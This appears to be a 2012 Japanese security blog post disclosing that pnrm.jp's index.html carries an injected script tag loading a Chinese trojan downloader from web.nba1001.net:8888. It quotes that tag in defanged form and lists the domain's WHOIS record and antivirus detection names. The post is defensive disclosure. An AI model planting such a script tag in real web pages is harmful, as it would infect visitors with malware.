月曜日, 9月 17, 2012

#OCJP-061: 「pnrm.jp / 210.224.177.201」中国トロイダウンロードコードを発見!

下記のURL
hxxp: // pnrm.jp/
hxxp: // www.pnrm.jp/
hxxp: // 210.224.177.201/
↑のindex.htmlに下記のマルウェアダウンロードJSコードを発見しました↓
<script type="text/javascript" 
  src="hxxp : //web・nba1001・net:8888/tj/tongji.js">
</script>
↑何物かと中国トロイのダウンロードJSコードです。
マルウェアコードを削除して欲しい。

pnrm.jpドメイン登録情報を見たほうがいいと思います、あやしいので...

web.nba1001.netは中国のマルウェアサイトですので、現在ROにした。
Domain name: NBA1001.NET
 Registrant:
 qq3800cc1
 qq3800cc1
 na, na 0000000
 CN

 Administrative Contact:
    qq3800cc1, qq3800cc1  
    qq3800cc1
    na, na 0000000
    CN
    +86.0000000000
 Technical Contact:
    qq3800cc1, qq3800cc1  
    qq3800cc1
    na, na 0000000
    CN
    +86.0000000000

index.htmlはVirus Totalにアップロードしたので⇒【情報はこちら】
現在下記のマルウェア検知結果が出ました↓
nProtect                 : Win32.Jadtre.B
CAT-QuickHeal            : HTML/Iframe.EW
McAfee                   : W32/Fujacks.a!htm
K7AntiVirus              : EmailWorm
VirusBuster              : HTML.Malurl.J
F-Prot                   : HTML/Linker.AB
Symantec                 : W32.Fujacks.CE!html
Norman                   : Exploit.LW
TotalDefense             : HTML/Emerleox.IL
TrendMicro-HouseCall     : HTML_DOWN.A
Avast                    : HTML:Script-inf
ClamAV                   : JS.Agent-156
Kaspersky                : Trojan.JS.Agent.btr
BitDefender              : Win32.Jadtre.B
Sophos                   : Troj/Badsrc-M
Comodo                   : TrojWare.JS.Agent.SCW
F-Secure                 : Win32.Jadtre.B
VIPRE                    : Trojan-Clicker.HTML.RemoteScript (v)
AntiVir                  : HTML/Dldr.Agent.OB
TrendMicro               : HTML_DOWN.A
McAfee-GW-Edition        : W32/Fujacks.a!htm
Emsisoft                 : Trojan.JS.Redirector!IK
Jiangmin                 : Trojan/Script.Gen
Microsoft                : Virus:HTML/Jadtre.A
ViRobot                  : HTML.Downloader_Geno_iframe
GData                    : Win32.Jadtre.B
Commtouch                : HTML/Linker.AB
AhnLab-V3                : HTML/Agent
PCTools                  : Net-Worm.Fujacks
ESET-NOD32               : HTML/ScrInject.B.Gen
Rising                   : Hack.Exploit.Script.HTML.IFrame.az
Ikarus                   : Trojan.JS.Redirector
Fortinet                 : JS/Agent.BTR!tr
AVG                      : JS/Downloader.Agent
Panda                    : W32/Katusha.Q

0 件のコメント:

コメントを投稿